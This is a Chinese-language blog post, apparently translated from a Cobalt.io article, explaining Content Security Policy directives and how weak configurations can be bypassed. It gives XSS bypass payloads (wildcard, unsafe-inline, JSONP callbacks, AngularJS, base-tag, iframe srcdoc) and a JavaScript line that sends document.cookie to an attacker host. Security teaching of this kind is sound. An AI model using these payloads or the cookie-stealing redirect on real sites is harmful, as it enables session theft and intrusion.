CSP and Bypass

原文:CSP and Bypasses

内容安全策略 (CSP) 是一种 W3C 标准,允许开发人员控制 Web 应用程序中某些类型脚本的资源加载和执行。它旨在提高 Web 应用程序的安全性并保护用户免受 XSS(跨站脚本)攻击。

什么是CSP?

CSP 代表内容安全策略,它定义了网页可以检索和执行哪些资源。另一种理解它的方法是确定哪些脚本、图像和 iframe 可以从不同的在线位置在特定页面上调用或运行。一些例外包括服务器源和脚本端点。HTTP 响应标头或元元素用于实施内容安全策略。

为什么实施 CSP 至关重要?

为了防止跨站脚本(XSS)等攻击,CSP 技术作为内置技术内置于大多数浏览器中。通过使用适当的 CSP,可以比使用 X-Frame-Options 标头更有效地防止点击劫持。因此,您应该使用 CSP 来保护您的网站免受点击劫持攻击。但是,如果您想保护不支持 CSP 的旧版浏览器,可以将其与 X-Frame-Options 标头结合使用。

例如,输入验证可以保护网站免受注入攻击,但攻击者仍然可以制作独特的有效负载来绕过它。因此,CSP 并不代表你的第一道防线,而是代表你的纵深防御。

即使验证检查被绕过,CSP 也会阻止来自非预期来源的脚本执行,从而在很大程度上消除攻击。

CSP 指令

实施 CSP 时,我们必须了解可以使用的不同策略指令。让我们看一下其中的一些。

script-src: 指定允许的 JavaScript 源。此外,触发脚本执行的内联脚本事件处理程序 (onclick) 和 XSLT 样式表(可扩展样式表语言)也可以加载到元素中。

default-src: 该指令指定默认情况下如何获取资源。如果 CSP 标头中未包含 fetch 指令,则浏览器将遵循此指令。

child-src: 该指令指定 Web Worker 和嵌入式框架可以使用哪些资源。

frame-src: 该指令限制了可以作为框架调用的 URL。

frame-ancestors: 指令指定可以嵌入该页面的源。它仅适用于非 HTML 资源,不能在标签中使用(用于防止点击劫持攻击)。

img-src: 这指定了哪些源可用于加载网页上的图像。

object-src: 此属性定义元素对象、嵌入和小部件允许的源。

base-uri: 使用此元素,您可以定义要加载的元素所允许的 URL。

upgrade-insecure-requests: 通过使用此指令,浏览器将被指示重写 URL 方案,以便 HTTP 被 HTTPS 取代。重写旧 URL 对于拥有许多旧 URL 的网站来说是有益的。

sandbox: 指令在资源周围创建一个沙箱,类似于 sandbox 属性。使用后的情况,弹出窗口被阻止,插件和脚本被禁止,并且同源策略被强制执行。

其他一些 CSP 指令包括:prefetch-src、connect-src、form-action 等。

CSP 指令的值

  • *: Except for data: blob: filesystem schemes, any URL can be used.
  • none: 在这种情况下不允许加载任何源。
  • self: 定义允许加载来自同一域的资源的源。
  • data: 使用数据方案加载资源(例如 Base64 编码图像)
  • unsafe-eval: 这允许您使用 eval() 和 window.execScript 从字符串创建代码。该来源不应包含在任何指令中。这就是为什么它被称为不安全。
  • unsafe-hashes: Use this to enable specific event handlers inline.
  • unsafe-inline: 这允许使用内联资源,例如内联元素、javascript: URL 和内联事件处理程序。出于安全原因,不建议这样做。
  • nonce: 使用加密随机数(使用一次的数字)的内联脚本白名单。随机数值必须是唯一的,并且是在服务器每次传输策略时生成的。
  • sha256-<hash>: 该脚本必须具有特定的 SHA256 哈希值才能列入白名单。

要验证应用程序的 CSP,请查看 Google 的 CSP Evaluator

不安全的规则

Wildcard(*)

CSP Header

1
2
Content-Security-Policy: script-src 'self' https://cobalt.io https: data *; 
In script-src, a wildcard is used, which results in a misconfigured CSP policy.

XSS payloads:

1
2
3
<script src="data:text/javascript,alert(document.domain)"></script>

<script src=https://cobalt.io/evil.js></script>

Unsafe eval()

CSP Header

1
Content-Security-Policy: script-src https://cobalt.io 'unsafe-eval' data: http://*;

尽管将脚本源设置为 https://www.cobalt.io,但由于使用了 unsafe-eval,此策略仍然容易受到攻击。

XSS payloads:

1
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

Unsafe inline

CSP Header

1
Content-Security-Policy: script-src ‘self’  'unsafe-inline' ;

尽管此策略需要来自 Cobalt.io 站点的脚本,但它很容易受到攻击,因为该指令使用了 unsafe-inline。

XSS payloads:

1
2
3
<script>alert(domain);</script>

<Svg OnLoad=alert(domain)>

例子:

请注意,如果实现了 unsafe-inline,则普通的 <tag eventhandler=js> 将起作用。

在这里我们可以看到上面的CSP header 已经实现了。

利用上面提到的payload,我们可以实现XSS漏洞。

JSONP回调并将第三方列入白名单

JSONP 中,同源策略 (SOP) 被绕过,因此您可以从服务器请求和检索数据,而不必担心跨域问题。

JavaScript 有效负载可以通过称为“回调”的 GET 参数注入 JSONP 端点,并且端点将以 JSON 形式将它们返回给您,绕过 SOP(同源策略)。例如,我们可以通过 JSONP 端点发送 JavaScript 有效负载。下面是一个例子:

https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

如果标头将这些端点之一列入白名单,则 script-src 策略可能会导致问题。 JSONP 端点允许我们通过加载恶意 J​​avaScript 来绕过 CSP 策略。JSONBee 中有许多现成的CSP绕过的地址。

CSP header

1
script-src https://www.google.com https://accounts.google.com;

由于accounts.google.com允许加载JavaScript文件,因此将加载以下有效负载。为了加载我们的恶意 JavaScript,我们滥用了 JSONP 功能。

XSS payloads

1
cobalt.io?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

缺少 object-src 和 default-src

CSP header

1
Content-Security-Policy: script-src 'self' ;
1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

XSS payloads

1
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>

Angular JS

如果 AngularJS 应用程序从白名单域加载任何脚本,则可以绕过 CSP 策略。为此,回调函数和有漏洞的部分是一定会被调用的。另外,为 AngularJS 事件定义了一个特殊的 $event 对象,它简单地引用浏览器事件对象。通过这个对象,可以绕过CSP。

CSP header

1
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

XSS payloads:

1
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
1
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>

文件上传

如果您可以上传 JS 文件,则可以绕过 CSP。服务器很有可能对上传的文件进行验证,只允许上传指定的文件类型。

此外,即使您将 JS 代码上传到服务器接受的扩展名的文件中(例如 script.js)。这还不够,因为某些服务器(例如 apache 服务器)根据文件的扩展名确定文件的 MIME 类型。例如,Chrome 浏览器会拒绝在图像中运行的 Javascript 代码。

CSP header

1
Content-Security-Policy: script-src 'self';  object-src 'none' ;

XSS payloads:

1
'"><script src="/uploads/csp.js"></script>

白名单方案

CSP header

1
Content-Security-Policy: script-src data: ;

XSS payloads:

1
<script%20src=data:text/javascript,alert(1337)></script>

在这里我们可以注意到上面的 CSP 标头已实现。

提交上述payload后,我们就可以实现XSS,绕过CSP。

绕过base-uri

如果定义的 CSP 中不存在 base-uri 指令,则可以执行悬空标记注入。如果脚本具有相对路径(如 /js/app.js),则可以通过使页面从服务器加载脚本来滥用基本标签来获取 XSS。如果通过 HTTPS 加载易受攻击的页面,则应使用 HTTPS URL。

CSP header

1
Content-Security-Policy: script-src 'nonce-abcd1234';

XSS payloads:

1
<Base Href=//X55.is>

我们可以注意到 CSP 标头的实现方式就像我们上面讨论的那样。

提交上述payload后,我们得到xss,

文件夹路径绕过

当您使用 %2f 将“/”编码为 CSP 策略的一部分并将其指向文件夹时,它仍将被视为该文件夹的一部分。几乎所有现代浏览器似乎都是这种情况。

当服务器对其进行解码时,可以使用“%2f..%2f”来绕过它,从而绕过文件夹限制。例如,您可以访问http://example.com/company/,执行http://example.com/company%2f..%2fatttacker/file.js将绕过限制。

CSP header:

1
Content-Security-Policy: script-src cobalt.io/safe-directory/

XSS payloads:

1
<script src="https://<abc>.com/safe-directory%2f..%2f/abc/unsafe-directory"></script>

通过IFrame绕过CSP

攻击者可以使用 Iframe 绕过以下 CSP 策略。应用程序必须允许来自白名单域的 iframe 才能执行绕过。使用 iframesrcdoc 属性可以轻松进行 XSS 攻击。

CSP header

1
Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src  'self' ; 

XSS payloads:

1
2
3
4
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

CSP注入绕过

在这种情况下,用户的输入会反映在 CSP 标头中。我们以下面的 URL 为例:

https://www.cobalt.io?param=payload.

如果您的输入反映在 CSP 标头中,您应该看到以下内容。

CSP header

1
2
3
4
5
script-src payload;

object-src 'none';

base-uri 'none';

因此 script-src 可以设置为我们想要的任何值。该值可以轻松设置为我们控制的域,绕过 CSP。

CSP 数据泄露

尽管严格的 CSP 禁止您与外部服务器交互,但无论 CSP 多么严格,您仍然可以采取一些措施来窃取数据。

Location

为了将秘密信息发送到攻击者的服务器,您可以简单地更新位置:

1
2
3
var sessionid = document.cookie.split('=')[1] + "."; 

document.location = "https://www.attacker-owned-website.com/?" + sessionid;

总结

CSP 是针对 XSS 和点击劫持攻击的深度防御策略。然而,如果实施不当,CSP 很容易被绕过。因此,所有脚本最好都驻留在您的主机上,并且您的 CSP 不应允许来自 Internet 的任何内容。

我们希望您喜欢这篇博文。在我们的下一篇博文中再次见到您。

参考


CSP and Bypass
https://xxxxnnxxxx.github.io/2023/10/18/CSP and Bypasses/
作者
xxxxnnxxxx
发布于
2023年10月18日
许可协议